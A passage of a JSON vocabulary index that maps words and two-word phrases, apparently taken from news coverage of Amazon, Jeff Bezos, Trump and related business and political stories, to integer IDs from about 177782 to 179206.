devices": 177782, "view mirror": 177783, "nbcuniversal saying": 177784, "r8 type": 177785, "asia": 177786, "tale": 177787, "table collection": 177788, "suncor peers": 177789, "ice employees": 177790, "little short": 177791, "governors package": 177792, "garland commercialappeal": 177793, "beards": 177794, "story cutting": 177795, "life store": 177796, "dudgeon": 177797, "lichtenberg researcher": 177798, "beals 415": 177799, "7billion": 177800, "mlp": 177801, "centers fcs": 177802, "discrete services": 177803, "punish companies": 177804, "davehclark": 177805, "shapes change": 177806, "middlesex updated": 177807, "spent 141": 177808, "twilight series": 177809, "strongest quarterly": 177810, "legendary president": 177811, "recent piece": 177812, "products keys": 177813, "swir investorideas": 177814, "spotty credit": 177815, "scrapped": 177816, "aramco way": 177817, "offered additional": 177818, "finance fraud": 177819, "sanchez tv": 177820, "whizzing": 177821, "glad canceled": 177822, "cortez plan": 177823, "1270x734": 177824, "invention conveyable": 177825, "day crash": 177826, "rutt": 177827, "company world": 177828, "removed just": 177829, "online sale": 177830, "arrested despite": 177831, "insider wow": 177832, "fine embodiment": 177833, "diorio": 177834, "kevinliptakcnn": 177835, "signaled willingness": 177836, "vote alternative": 177837, "capitalist pig": 177838, "rubenstein head": 177839, "predicts slaughter": 177840, "economy away": 177841, "demanded according": 177842, "plans venezuela": 177843, "employees leave": 177844, "released lot": 177845, "net favorability": 177846, "ambassador susan": 177847, "paramour lauren": 177848, "tinged feud": 177849, "fumbles necessarily": 177850, "retail residential": 177851, "locust wood": 177852, "saying": 177853, "tech lobbying": 177854, "user passwords": 177855, "kevin thomas": 177856, "political protection": 177857, "women similarly": 177858, "country return": 177859, "trump readers": 177860, "collective wailing": 177861, "primary issues": 177862, "championed sinclair": 177863, "subscribers instead": 177864, "conflated": 177865, "r1 a4ee": 177866, "forests absorb": 177867, "giulianis various": 177868, "giant wa": 177869, "taking decade": 177870, "cronyism amazon": 177871, "hearing images": 177872, "making immigrant": 177873, "impacting prominent": 177874, "visit new": 177875, "appliances market": 177876, "feisty": 177877, "joe hoft": 177878, "970x450 uploaded_files": 177879, "expanding reach": 177880, "data website": 177881, "tremendous faith": 177882, "tonight market": 177883, "iconic american": 177884, "locate hq2": 177885, "hyperpartisan gerrymandering": 177886, "raced": 177887, "includes alibaba": 177888, "battered equities": 177889, "fisch likened": 177890, "bolden pay": 177891, "toby": 177892, "graduation ceremony": 177893, "getting ready": 177894, "ambassadors volunteer": 177895, "tirades": 177896, "alternative proposals": 177897, "initiating criminal": 177898, "massive information": 177899, "salisbury cathedral": 177900, "company ring": 177901, "using drones": 177902, "mchale check": 177903, "kitchen floor": 177904, "power assuming": 177905, "bloomberg law": 177906, "google admits": 177907, "downtrend ge": 177908, "cavorting conjugally": 177909, "fall morgan": 177910, "increased focus": 177911, "marketplace organization": 177912, "grape jelly": 177913, "musk insult": 177914, "carnivorous": 177915, "isn predicated": 177916, "juanita": 177917, "retailers wework": 177918, "record valuation": 177919, "inequality topic": 177920, "fired power": 177921, "stake": 177922, "party crasher": 177923, "hot job": 177924, "throated endorsement": 177925, "prognosticate": 177926, "state democratic": 177927, "facial": 177928, "introduce workforce": 177929, "company towns": 177930, "allegedly discriminating": 177931, "purina": 177932, "labor consciousness": 177933, "car plunges": 177934, "definitely offers": 177935, "eu actions": 177936, "brand holders": 177937, "god amazon": 177938, "build range": 177939, "durand": 177940, "workers employed": 177941, "center efficiency": 177942, "tyger": 177943, "sophisticated beliefs": 177944, "promoting onesies": 177945, "amassing enormous": 177946, "million scratch": 177947, "thumb jpg": 177948, "north central": 177949, "award related": 177950, "accusations singling": 177951, "tilted sideways": 177952, "university james": 177953, "minimal level": 177954, "sue branford": 177955, "bloomberg ars": 177956, "employees trump": 177957, "electric shocks": 177958, "capitulation suggests": 177959, "build large": 177960, "statements impact": 177961, "margetuximab": 177962, "twitter rocket": 177963, "stopped toadstool": 177964, "source saying": 177965, "misunderstand": 177966, "adopting": 177967, "plausible hypothesis": 177968, "181002173716 sears": 177969, "includes long": 177970, "messages shared": 177971, "anusak laowilas": 177972, "articles boston": 177973, "james clapper": 177974, "780 words": 177975, "bezos joins": 177976, "corporate influence": 177977, "economists believe": 177978, "trump enthusiasts": 177979, "metapack solutions": 177980, "s\u00e1nchez according": 177981, "delivers cheap": 177982, "fully informing": 177983, "muxp2x0f7b katie": 177984, "retirement family": 177985, "finally decided": 177986, "primal": 177987, "journalism awards": 177988, "creating talking": 177989, "relive pep": 177990, "opinion donald": 177991, "letter implies": 177992, "adequate benefits": 177993, "yup particularly": 177994, "debates": 177995, "servitude elisabeth": 177996, "especially deforestation": 177997, "gp": 177998, "lago australia": 177999, "spy gear": 178000, "gould": 178001, "ineptitude": 178002, "individual sanders": 178003, "anthony": 178004, "280 characters": 178005, "spuec7bpal": 178006, "hamza": 178007, "didnt": 178008, "teamsters ernie": 178009, "nalgene": 178010, "donors owns": 178011, "pay fee": 178012, "sanders themes": 178013, "selling soy": 178014, "economic relief": 178015, "prolific data": 178016, "heard donald": 178017, "added amazon": 178018, "provides billions": 178019, "simultaneously competing": 178020, "years allegedly": 178021, "start michele": 178022, "avoid negative": 178023, "machines appear": 178024, "actually slightly": 178025, "elite list": 178026, "twelfe embedded": 178027, "snl treats": 178028, "magazine owner": 178029, "trump shamelessly": 178030, "asks manhattan": 178031, "dix gloria": 178032, "tech crunch": 178033, "favorite platform": 178034, "dealing multi": 178035, "vetoes": 178036, "henry wojtaszek": 178037, "american lives": 178038, "poorer counterparts": 178039, "amazon mama": 178040, "computing certificate": 178041, "proprietary": 178042, "time reading": 178043, "patrol chief": 178044, "devices seamlessly": 178045, "ideo": 178046, "government board": 178047, "strategic acquisitions": 178048, "buy long": 178049, "wage according": 178050, "knicks 106": 178051, "campaign enquirer": 178052, "amazon closing": 178053, "recruit teenagers": 178054, "egalitarian promise": 178055, "buys damaging": 178056, "retailer andres": 178057, "negative impact": 178058, "charting": 178059, "expansion efforts": 178060, "story record": 178061, "earth intact": 178062, "puzder wrote": 178063, "published string": 178064, "peeled": 178065, "indigenous leader": 178066, "law debate": 178067, "main political": 178068, "diatribe sends": 178069, "survey week": 178070, "company small": 178071, "dangerous bezos": 178072, "kidman kirsten": 178073, "rival woman": 178074, "bethesda": 178075, "human inside": 178076, "press analysis": 178077, "strangely identifying": 178078, "party items": 178079, "president hitting": 178080, "required infrastructure": 178081, "households making": 178082, "year labor": 178083, "monroe": 178084, "marketplace warren": 178085, "nlrb complaint": 178086, "eckstein": 178087, "slandered": 178088, "growth brought": 178089, "subsidiary zappos": 178090, "space business": 178091, "amobi cfra": 178092, "2935575 citi": 178093, "workforce food": 178094, "gentle": 178095, "vbtt419xoj": 178096, "credits billion": 178097, "98th": 178098, "second place": 178099, "lawyers threatened": 178100, "appeared days": 178101, "spearhead apple": 178102, "competition panel": 178103, "yplgqc9q9r": 178104, "network showed": 178105, "biometric": 178106, "ultimately canceled": 178107, "z74bhbxjvk evan": 178108, "speech widely": 178109, "leading contenders": 178110, "cronyism baby": 178111, "cobb reports": 178112, "higher moderation": 178113, "pulpit trump": 178114, "qgazette": 178115, "norris perne": 178116, "life style": 178117, "completely dependent": 178118, "countries ignore": 178119, "portal worth": 178120, "jan 2018when": 178121, "staffers schuster": 178122, "incrementally yielding": 178123, "away blood": 178124, "single meeting": 178125, "chronology": 178126, "book commercial": 178127, "2026 world": 178128, "chinese premier": 178129, "allies roger": 178130, "technical matters": 178131, "buyback": 178132, "i9 m2x": 178133, "tank critical": 178134, "selling novelty": 178135, "stayed away": 178136, "pecker pointing": 178137, "connects": 178138, "embarking": 178139, "400 important": 178140, "talks china": 178141, "sebastian gunningham": 178142, "china quickly": 178143, "higher shipping": 178144, "growing power": 178145, "concerned": 178146, "rep kathleen": 178147, "competitive streak": 178148, "advisor told": 178149, "rumoured recordings": 178150, "mercenaries": 178151, "berniesanders": 178152, "z1": 178153, "metro northern": 178154, "garden press": 178155, "breaking lies": 178156, "cbre": 178157, "leftist": 178158, "toronto prospects": 178159, "pf_rd_i": 178160, "clearances stripped": 178161, "apparent ellis": 178162, "state women": 178163, "airlines cargo": 178164, "1230et copyright": 178165, "fake unhinged": 178166, "clark amazon": 178167, "amzn amazon": 178168, "told columnist": 178169, "leaked ahead": 178170, "privacy preferences": 178171, "britain brexit": 178172, "hit retailers": 178173, "electronic technology": 178174, "financially liable": 178175, "carly": 178176, "delivery solutions": 178177, "shelves": 178178, "bright students": 178179, "chilean": 178180, "holdings utah": 178181, "amzn effect": 178182, "lovers quarrel": 178183, "disrupted": 178184, "association daniel": 178185, "sister station": 178186, "avert government": 178187, "budget policy": 178188, "post owned": 178189, "unfair employment": 178190, "procedural grounds": 178191, "world lost": 178192, "make friends": 178193, "bezos scandal": 178194, "productivity quartz": 178195, "appreciation sanchez": 178196, "svendsen pretty": 178197, "chinas huawei": 178198, "new nickname": 178199, "kirby": 178200, "natural ways": 178201, "hire holiday": 178202, "providing amnesty": 178203, "reported state": 178204, "crosses": 178205, "pullout risks": 178206, "despite entreaties": 178207, "including tvs": 178208, "pullman hanging": 178209, "having purchased": 178210, "national police": 178211, "opa": 178212, "opines": 178213, "revenues growing": 178214, "high 581": 178215, "campaign year": 178216, "587": 178217, "art protest": 178218, "forests green": 178219, "customers faster": 178220, "america anymore": 178221, "australian dylan": 178222, "reserved geeky": 178223, "buffett": 178224, "netflix mean": 178225, "photos": 178226, "accident": 178227, "leans heavily": 178228, "hyde park": 178229, "president surprise": 178230, "trend tennis": 178231, "mccain joined": 178232, "pushback increasing": 178233, "passive aggression": 178234, "bargainers": 178235, "hbo shiff": 178236, "hotspot": 178237, "castaway james": 178238, "earnings generated": 178239, "pot just": 178240, "paulorwell": 178241, "newcomer": 178242, "consider south": 178243, "foster homes": 178244, "highest incidence": 178245, "mocking tone": 178246, "stipulations": 178247, "employees react": 178248, "week precious": 178249, "brennan multiple": 178250, "danish siblings": 178251, "current amazon": 178252, "actually filed": 178253, "nicknames crooked": 178254, "great flavor": 178255, "countries announced": 178256, "says bring": 178257, "prevent illegal": 178258, "m6eninumqn": 178259, "rep carlos": 178260, "dan gilroy": 178261, "remove knock": 178262, "suite": 178263, "raining": 178264, "amazon addition": 178265, "entail forest": 178266, "appoint people": 178267, "new ground": 178268, "identify burglary": 178269, "positive adjusted": 178270, "coates": 178271, "socialflow": 178272, "long island": 178273, "scaring amazon": 178274, "editorial page": 178275, "user posted": 178276, "law nbc": 178277, "asian": 178278, "lady gaga": 178279, "used fentanyl": 178280, "dailyquote quotesoftheday": 178281, "cheaper alternative": 178282, "french meal": 178283, "katherine": 178284, "stepmother laurene": 178285, "apparent relationship": 178286, "think starts": 178287, "overweight rating": 178288, "rainbow springs": 178289, "increasing pressure": 178290, "live took": 178291, "peralta brilliant": 178292, "charge people": 178293, "based distribution": 178294, "suzan delbene": 178295, "false comparetotoggle": 178296, "pho war": 178297, "time televised": 178298, "adherents believe": 178299, "bozo fost": 178300, "exas news": 178301, "quietly buries": 178302, "feed just": 178303, "american conservative": 178304, "resident responded": 178305, "extortionate proposal": 178306, "fraud case": 178307, "democrats ranked": 178308, "direct competition": 178309, "veteran named": 178310, "charge regulators": 178311, "billion cnn": 178312, "bmw": 178313, "2018 chicksonright": 178314, "nations leaders": 178315, "talking negatively": 178316, "tumbling tech": 178317, "currently slated": 178318, "day nypost": 178319, "section rappler": 178320, "sanchez pilot": 178321, "variant priced": 178322, "masunaga": 178323, "divorce trump": 178324, "radically": 178325, "rosenbaum scout": 178326, "bravo apttus": 178327, "fed google": 178328, "won national": 178329, "final location": 178330, "post medium": 178331, "activity": 178332, "obama appointee": 178333, "lacefront following": 178334, "years little": 178335, "great stories": 178336, "discovers heartbreaking": 178337, "woman run": 178338, "rivals just": 178339, "right amazon": 178340, "picture perfect": 178341, "amazon government": 178342, "technical operations": 178343, "antitrust limbo": 178344, "largest digital": 178345, "algorithmically": 178346, "apps coming": 178347, "exclusive report": 178348, "mgnx": 178349, "mishandling": 178350, "upskilling people": 178351, "state cable": 178352, "major trauma": 178353, "sells fresh": 178354, "boot data": 178355, "yelling profane": 178356, "vidid 15612": 178357, "bandwidth amazon": 178358, "initial product": 178359, "making spectacle": 178360, "remarkable cone": 178361, "amazon svp": 178362, "plentyof time": 178363, "notoriously": 178364, "rental flat": 178365, "respecting vietnamese": 178366, "harmed": 178367, "sites": 178368, "oppression": 178369, "knowing trump": 178370, "congressional leaders": 178371, "market focus": 178372, "authors works": 178373, "orchestral": 178374, "100 strong": 178375, "healthcare anisha": 178376, "degree agile": 178377, "government unless": 178378, "cable monopoly": 178379, "palmer executive": 178380, "federal health": 178381, "multiple industries": 178382, "accounting tricks": 178383, "cinnamon rolls": 178384, "326": 178385, "dangerous rhetoric": 178386, "entitle louis": 178387, "deadbeat": 178388, "committee vote": 178389, "associates account": 178390, "indianapolis mail": 178391, "ceo daily": 178392, "dreamland16": 178393, "general seat": 178394, "average eve": 178395, "people controllers": 178396, "otcqx market": 178397, "amazon fake": 178398, "learners": 178399, "corps air": 178400, "enlarge tax": 178401, "royal engagement": 178402, "hannah": 178403, "report release": 178404, "hour does": 178405, "affluent": 178406, "avoid broader": 178407, "1740s": 178408, "stumbles": 178409, "divine": 178410, "allegedly trump": 178411, "lawmaker wants": 178412, "unfilmable comic": 178413, "travel space": 178414, "punish businesses": 178415, "opinion piece": 178416, "aside plan": 178417, "angie": 178418, "gala gala": 178419, "headlines related": 178420, "exploring presidential": 178421, "ryan tannehill": 178422, "alesco": 178423, "million mel": 178424, "depression era": 178425, "profiling tracking": 178426, "minimal taxes": 178427, "hour amazon": 178428, "weekend bag": 178429, "content development": 178430, "amazon mysterious": 178431, "axp appear": 178432, "gosar az": 178433, "technology group": 178434, "organization jocum": 178435, "firebrand": 178436, "wyden complained": 178437, "example harpooning": 178438, "dominate books": 178439, "comprehensive review": 178440, "smear people": 178441, "cleaning carpets": 178442, "morgan trump": 178443, "recognition activist": 178444, "chronically": 178445, "coyo": 178446, "converted garage": 178447, "usage": 178448, "unanimously approve": 178449, "cloud 2018": 178450, "corp shld": 178451, "story founder": 178452, "force navy": 178453, "taste coffee": 178454, "regulatory reform": 178455, "technical error": 178456, "term prices": 178457, "occasion impacted": 178458, "marginalized groups": 178459, "roll": 178460, "dobbs": 178461, "kentucky prosecutor": 178462, "strained": 178463, "old girlfriend": 178464, "strapped postal": 178465, "livery": 178466, "google news": 178467, "rename gingerbread": 178468, "inadvertently shared": 178469, "forbes americans": 178470, "revelations did": 178471, "chinese beauty": 178472, "gellman birthdays": 178473, "start implementing": 178474, "levels amazon": 178475, "emergency aid": 178476, "report steve": 178477, "wealthy public": 178478, "joining rosalind": 178479, "duly": 178480, "egitimate": 178481, "renner": 178482, "shoulders shampoo": 178483, "respected lawyer": 178484, "suddenly transfixed": 178485, "team owned": 178486, "retiree benefits": 178487, "comment west": 178488, "strain says": 178489, "official visit": 178490, "monopolies yeah": 178491, "opportunity think": 178492, "far displayed": 178493, "carol": 178494, "month public": 178495, "margin isn": 178496, "300dpi": 178497, "complete statement": 178498, "jones debut": 178499, "tomorrows big": 178500, "essential oil": 178501, "grammy win": 178502, "better case": 178503, "rouhani joined": 178504, "pharmaceutical lobbyist": 178505, "fraser limited": 178506, "standard trump": 178507, "bardella member": 178508, "chris explained": 178509, "task forces": 178510, "working spouses": 178511, "effecting": 178512, "inbox protests": 178513, "bezos gives": 178514, "approximately 110": 178515, "week nineteen": 178516, "executive marillyn": 178517, "politico absolutely": 178518, "reps steve": 178519, "latest fake": 178520, "swatted": 178521, "anticompetitive": 178522, "notoriously challenging": 178523, "composition": 178524, "cohen says": 178525, "colonization": 178526, "bricks": 178527, "wellington": 178528, "universal truth": 178529, "markle dad": 178530, "podcast episodes": 178531, "business career": 178532, "avoid layoffs": 178533, "exxon mobil": 178534, "communitiesthat": 178535, "real characters": 178536, "strong mandate": 178537, "apple google": 178538, "money kevin": 178539, "colored": 178540, "doj took": 178541, "intraday stock": 178542, "american oracle": 178543, "simmering feud": 178544, "snagged": 178545, "personable": 178546, "famously caustic": 178547, "emboldened grassroots": 178548, "ha la": 178549, "justice signaled": 178550, "group general": 178551, "jobs require": 178552, "espaillat ny": 178553, "rampell": 178554, "smollett fallout": 178555, "tended": 178556, "openly rooting": 178557, "paring losses": 178558, "haven severed": 178559, "underpay": 178560, "gov website": 178561, "lyft ebay": 178562, "growing problem": 178563, "florida legislature": 178564, "verna principle": 178565, "commonality criticism": 178566, "o2x k0": 178567, "influence news": 178568, "publicly weighed": 178569, "equally big": 178570, "service quasi": 178571, "federal grant": 178572, "read biore": 178573, "recording simultaneously": 178574, "korea economy": 178575, "detective ryan": 178576, "demonic power": 178577, "taxes kovach": 178578, "dwarfed": 178579, "helps": 178580, "peaks ventures": 178581, "large cable": 178582, "walmart nixed": 178583, "reporting ted": 178584, "deficit president": 178585, "mentioned ami": 178586, "naturalist": 178587, "centre point": 178588, "cortez alessandra": 178589, "couple battles": 178590, "matt volz": 178591, "served amazon": 178592, "resistant parliament": 178593, "conversation wantto": 178594, "donuts lasted": 178595, "sitcom starring": 178596, "sunken": 178597, "involves plan": 178598, "vivo models": 178599, "zawe": 178600, "telling don": 178601, "president authority": 178602, "white pauly": 178603, "attention amazon": 178604, "domain click": 178605, "abc severe": 178606, "extort bezos": 178607, "new privacy": 178608, "criticize palantir": 178609, "wife fellow": 178610, "wheels turning": 178611, "happiness read": 178612, "accra ghana": 178613, "amazon jdcom": 178614, "writers pundits": 178615, "ago 187": 178616, "stars larry": 178617, "amazon meets": 178618, "hole cbs": 178619, "plans embedded": 178620, "jordan numbersmuncher": 178621, "businessweek reporting": 178622, "dismissed reports": 178623, "d22nv8evmr3d8f cloudfront": 178624, "public dispute": 178625, "brazilian favelas": 178626, "year fate": 178627, "publically": 178628, "bounced ray": 178629, "virtual monopolies": 178630, "refinitiv": 178631, "opposition urges": 178632, "meaningless dribble": 178633, "critical remarks": 178634, "years old": 178635, "away billion": 178636, "acting epa": 178637, "low amazon": 178638, "options trades": 178639, "avoidance strategies": 178640, "incloud": 178641, "doing trump": 178642, "mission wrote": 178643, "based realtor": 178644, "main engines": 178645, "mobile phones": 178646, "blunts criticism": 178647, "shorturl statustext": 178648, "giant market": 178649, "allied advisory": 178650, "local efforts": 178651, "nadine labaki": 178652, "higher transportation": 178653, "stock closer": 178654, "smartphone considering": 178655, "currently works": 178656, "bad swift": 178657, "think comcast": 178658, "replay autoplay": 178659, "internal break": 178660, "coincidence metro": 178661, "pope": 178662, "teaching average": 178663, "browbeat": 178664, "stiffing charities": 178665, "stunning treat": 178666, "flaccus": 178667, "nonviolent drug": 178668, "amazon succeeds": 178669, "klepper": 178670, "dictate": 178671, "culture tainted": 178672, "leaning outlets": 178673, "affordable unlimited": 178674, "kellyn bechtold": 178675, "persons explained": 178676, "trump donny": 178677, "conservative borrowing": 178678, "indefinite leave": 178679, "service announcements": 178680, "promises haven": 178681, "relative important": 178682, "tribunal": 178683, "combing": 178684, "business venture": 178685, "publishing site": 178686, "dallasnews sgtreport": 178687, "focused pop": 178688, "little hope": 178689, "council chairman": 178690, "archived recording": 178691, "street bonuses": 178692, "core jeffries": 178693, "ultimately coke": 178694, "story told": 178695, "bezos michelle": 178696, "comparisongrids products": 178697, "veteran benefits": 178698, "threaten punishment": 178699, "backtracked": 178700, "candor": 178701, "criticizing": 178702, "477 000": 178703, "ceramic": 178704, "i0 ma": 178705, "access personal": 178706, "tif": 178707, "lungs heart": 178708, "group politicians": 178709, "guild": 178710, "tiresome people": 178711, "products dimondstein": 178712, "butchered": 178713, "dramatically speed": 178714, "ideals": 178715, "regulatory filings": 178716, "strongsville": 178717, "owned american": 178718, "irrefutable evidence": 178719, "washington needs": 178720, "string a4ee": 178721, "union members": 178722, "trump north": 178723, "transfer elevating": 178724, "office announced": 178725, "diversity": 178726, "fedex reportedly": 178727, "best lgbtq": 178728, "felipe": 178729, "willing president": 178730, "voiceover": 178731, "probably exacerbate": 178732, "seemingly admiringly": 178733, "cohen probe": 178734, "evading tax": 178735, "definitely personifies": 178736, "gerald reynolds": 178737, "costs disputes": 178738, "ari fleischer": 178739, "rom holdings": 178740, "132 o2x": 178741, "make great": 178742, "securing democracy": 178743, "corporate used": 178744, "rosetta stone": 178745, "calls bezos": 178746, "payment efforts": 178747, "present boost": 178748, "contract maximum": 178749, "meditative": 178750, "ultra": 178751, "state panel": 178752, "polished": 178753, "rogin tries": 178754, "standard delivery": 178755, "buildings housing": 178756, "budget 200": 178757, "reuters edgar": 178758, "created tribunal": 178759, "northeastern united": 178760, "weekly forecast": 178761, "john anzalone": 178762, "retailer forecast": 178763, "technology given": 178764, "manufacturing slowed": 178765, "throw jeff": 178766, "losing nearly": 178767, "bozo trump": 178768, "turnonflashmessaging": 178769, "hurt amzn": 178770, "new walmart": 178771, "page privately": 178772, "750 billion": 178773, "fcpa newsfile": 178774, "amazon wikipedia": 178775, "times sebastian": 178776, "microsoft stock": 178777, "perspective cronyism": 178778, "quashing fake": 178779, "masks outside": 178780, "mind officials": 178781, "china spot": 178782, "shipping competitors": 178783, "bashing tech": 178784, "company redis": 178785, "ecolab schedules": 178786, "yes right": 178787, "netflix martin": 178788, "resist thinking": 178789, "arctic2": 178790, "film based": 178791, "dario": 178792, "fbi official": 178793, "competitive behavior": 178794, "avila guillen": 178795, "major airlines": 178796, "turned commander": 178797, "scientist jessica": 178798, "androids": 178799, "sright": 178800, "mailing letters": 178801, "nyse kmb": 178802, "center substantially": 178803, "page demands": 178804, "html utm_term": 178805, "local community": 178806, "cronk notes": 178807, "exacerbate economic": 178808, "reported additionally": 178809, "winning company": 178810, "valuation right": 178811, "just held": 178812, "old themes": 178813, "older adult": 178814, "fakers": 178815, "usa reported": 178816, "best practices": 178817, "content catch": 178818, "zerohedge": 178819, "post stuck": 178820, "87m boston": 178821, "special assistant": 178822, "expose bezos": 178823, "consumables": 178824, "fake users": 178825, "hhs": 178826, "fictional heroes": 178827, "day based": 178828, "investigation schiff": 178829, "personification jim": 178830, "000 deal": 178831, "167bn": 178832, "zcie3kuo5l pic": 178833, "finally": 178834, "russia ties": 178835, "counsel faces": 178836, "including motion": 178837, "administration ice": 178838, "industry echoed": 178839, "profit 2018": 178840, "coats": 178841, "remember john": 178842, "caller founded": 178843, "reasona": 178844, "brutal richard": 178845, "nasdaq dropped": 178846, "tell lexington": 178847, "female police": 178848, "amendment doesn": 178849, "qanon apparel": 178850, "reports involves": 178851, "redfin ceo": 178852, "going": 178853, "trump deteriorating": 178854, "report objectives": 178855, "did emphasize": 178856, "israel comments": 178857, "launched products": 178858, "homeowners harvest": 178859, "focal point": 178860, "department suffers": 178861, "housing transportation": 178862, "reagan takes": 178863, "left cult": 178864, "signed replacement": 178865, "mainly voted": 178866, "concrete impact": 178867, "existed": 178868, "blip midday": 178869, "lift restrictions": 178870, "growth delivering": 178871, "states stuck": 178872, "nelson 51m": 178873, "essentially declared": 178874, "brands american": 178875, "floors norah": 178876, "say campaign": 178877, "sure users": 178878, "print opinion": 178879, "law background": 178880, "story ibama": 178881, "relationship claiming": 178882, "catchall": 178883, "sarmiento asia": 178884, "state efforts": 178885, "trump unreality": 178886, "mining analysts": 178887, "automatic methods": 178888, "personal dealings": 178889, "cities praying": 178890, "comex": 178891, "health frostlands": 178892, "amazon wait": 178893, "story zuckerberg": 178894, "aint": 178895, "russia stories": 178896, "mentally": 178897, "citi thanks": 178898, "branford deforested": 178899, "months bolsonaro": 178900, "superstar conductor": 178901, "phil amazon": 178902, "officials jurisdictions": 178903, "macfarquhar nyt": 178904, "iphones unless": 178905, "lc reported": 178906, "heavily reliant": 178907, "myers dr": 178908, "billions year": 178909, "enquirer michael": 178910, "weather tab": 178911, "manufacturing bureau": 178912, "gates watch": 178913, "ceo michael": 178914, "amazon brain": 178915, "quarters griffeth": 178916, "mile commerce": 178917, "consumer tech": 178918, "actually benefited": 178919, "matt day": 178920, "obama interview": 178921, "capri cafaro": 178922, "judges concluded": 178923, "525 bought": 178924, "cut food": 178925, "newfound": 178926, "largest source": 178927, "pretty complicated": 178928, "ohio senator": 178929, "raise": 178930, "vote earlier": 178931, "bring false": 178932, "trump misused": 178933, "m8i r4ee": 178934, "research institute": 178935, "8220 old": 178936, "viral sensation": 178937, "surely spend": 178938, "average vendor": 178939, "city includes": 178940, "remains married": 178941, "salad trump": 178942, "internet governance": 178943, "amid deadly": 178944, "resurgent political": 178945, "trying new": 178946, "schroders severinovsky": 178947, "publishing 2018": 178948, "messy data": 178949, "public musings": 178950, "hikes think": 178951, "guess deals": 178952, "stalwart david": 178953, "loan agreed": 178954, "national networks": 178955, "toll going": 178956, "giuliani associate": 178957, "reading fetal": 178958, "fake information": 178959, "state related": 178960, "offspring": 178961, "000 115": 178962, "fly sanders": 178963, "nyc": 178964, "current flawed": 178965, "including washington": 178966, "guide students": 178967, "medicine commented": 178968, "complete": 178969, "197 381": 178970, "record news": 178971, "improving benefits": 178972, "video won": 178973, "warm glow": 178974, "measured progress": 178975, "rachel chason": 178976, "moscow washington": 178977, "purple suit": 178978, "makes shirts": 178979, "sanchez simulating": 178980, "tapped lobbying": 178981, "netflix earnings": 178982, "force established": 178983, "agency contractor": 178984, "executives point": 178985, "revenue jump": 178986, "senior justice": 178987, "carmakers retailers": 178988, "excellent kid": 178989, "principal repayment": 178990, "later tweeted": 178991, "skinny repeal": 178992, "lisota technology": 178993, "contemporary fiction": 178994, "cortez district": 178995, "retailer repeatedly": 178996, "wasn new": 178997, "housing 2416": 178998, "industry lawyer": 178999, "united way": 179000, "subsidizing jobs": 179001, "collectors": 179002, "candidate criticized": 179003, "banning conservative": 179004, "report ft": 179005, "excluding cars": 179006, "repository": 179007, "ny gov": 179008, "contribution data": 179009, "nys": 179010, "emerging feuds": 179011, "nyse ba": 179012, "cultivation": 179013, "brings lots": 179014, "jinx": 179015, "work inventioneers": 179016, "fiji water": 179017, "personal favorite": 179018, "dutch teenager": 179019, "nbfcs": 179020, "ceo harjinder": 179021, "simoes additional": 179022, "munger berkshire": 179023, "ingels collaborated": 179024, "artisan books": 179025, "mackenzie support": 179026, "getting crushed": 179027, "high temperature": 179028, "marketplace sellers": 179029, "supernatural": 179030, "misled": 179031, "improved effectiveness": 179032, "pecker face": 179033, "cash register": 179034, "affair complete": 179035, "uncovers": 179036, "just michael": 179037, "rece scandal": 179038, "machine landover": 179039, "looking little": 179040, "phlx": 179041, "city apart": 179042, "1q84": 179043, "mark rogers": 179044, "accelerated technology": 179045, "thathe": 179046, "fitted": 179047, "using variety": 179048, "nation": 179049, "packages markets": 179050, "low low": 179051, "flu vaccines": 179052, "dimensional nyc": 179053, "darling": 179054, "services amazon": 179055, "liberal fake": 179056, "rogers nyse": 179057, "nonprofits including": 179058, "genuinely cares": 179059, "transparent cost": 179060, "spatt": 179061, "mccammond author": 179062, "pa left": 179063, "giant second": 179064, "live continued": 179065, "tweetstorm": 179066, "type r4ee": 179067, "jon favreau": 179068, "marshal": 179069, "burning question": 179070, "drama amazon": 179071, "service fortune": 179072, "specialize": 179073, "guardian notes": 179074, "reuters usps": 179075, "splc identified": 179076, "future salary": 179077, "tiered": 179078, "ulurp decision": 179079, "contracts bloomberg": 179080, "book topped": 179081, "history month": 179082, "later sought": 179083, "literature published": 179084, "bridge": 179085, "sic media": 179086, "victories responding": 179087, "2017": 179088, "jeran wittenstein": 179089, "profits rose": 179090, "fargo": 179091, "app features": 179092, "jersey driver": 179093, "alias grace": 179094, "dense": 179095, "tight lipped": 179096, "vendors putting": 179097, "jets game": 179098, "chinese laws": 179099, "days pushed": 179100, "legend larry": 179101, "contactus": 179102, "ongoing clash": 179103, "nukes": 179104, "4x compared": 179105, "fit": 179106, "funding funding": 179107, "manager leon": 179108, "biggest energy": 179109, "employment component": 179110, "juvenile": 179111, "tv production": 179112, "rosario": 179113, "synthetic opioid": 179114, "offending material": 179115, "online mega": 179116, "progressive corporation": 179117, "winning authors": 179118, "started discussing": 179119, "tax jurisdictions": 179120, "paper noting": 179121, "116 billion": 179122, "scan": 179123, "resurfacing": 179124, "day offers": 179125, "edge product": 179126, "rafeea": 179127, "zremski hey": 179128, "hefty price": 179129, "korea threatens": 179130, "bengaluru writing": 179131, "white house": 179132, "thrive mainly": 179133, "ultimately changes": 179134, "testing prep": 179135, "charitytuesday votetuesday": 179136, "director julia": 179137, "haram stones": 179138, "rates instead": 179139, "olympic games": 179140, "world 165": 179141, "awaited task": 179142, "putting lives": 179143, "active traders": 179144, "consortium": 179145, "303 votes": 179146, "devastating fires": 179147, "cruz father": 179148, "diamonds": 179149, "1992 decision": 179150, "meteorologist": 179151, "vermont concerns": 179152, "cloud elon": 179153, "netizen": 179154, "manipulates trump": 179155, "matthew knott": 179156, "harding mcgill": 179157, "initial release": 179158, "spokesperson amazon": 179159, "laura just": 179160, "showed sales": 179161, "economy good": 179162, "markey": 179163, "companies want": 179164, "xxxtentacion slain": 179165, "big lego": 179166, "inboth": 179167, "tm second": 179168, "untouchable taxes": 179169, "diaspora reversed": 179170, "showing lot": 179171, "washington metropolitan": 179172, "election additionally": 179173, "joint venture": 179174, "santorum mary": 179175, "nbc fox": 179176, "actually declined": 179177, "mentally retarded": 179178, "courtesy lamborghini": 179179, "underpaying amazon": 179180, "rich corporations": 179181, "butthis": 179182, "activated": 179183, "year starting": 179184, "icann org": 179185, "employees paid": 179186, "services requested": 179187, "direct impact": 179188, "create lack": 179189, "derek thompson": 179190, "expenditures primarily": 179191, "travel cars": 179192, "inception": 179193, "goog amazon": 179194, "handle potential": 179195, "deplorable decals": 179196, "networking equipment": 179197, "postings billionaire": 179198, "objection": 179199, "bonuses amazon": 179200, "arabia state": 179201, "arctic2 pictures": 179202, "operation told": 179203, "slowly turning": 179204, "sit watch": 179205, "citizen expectations": 179206, 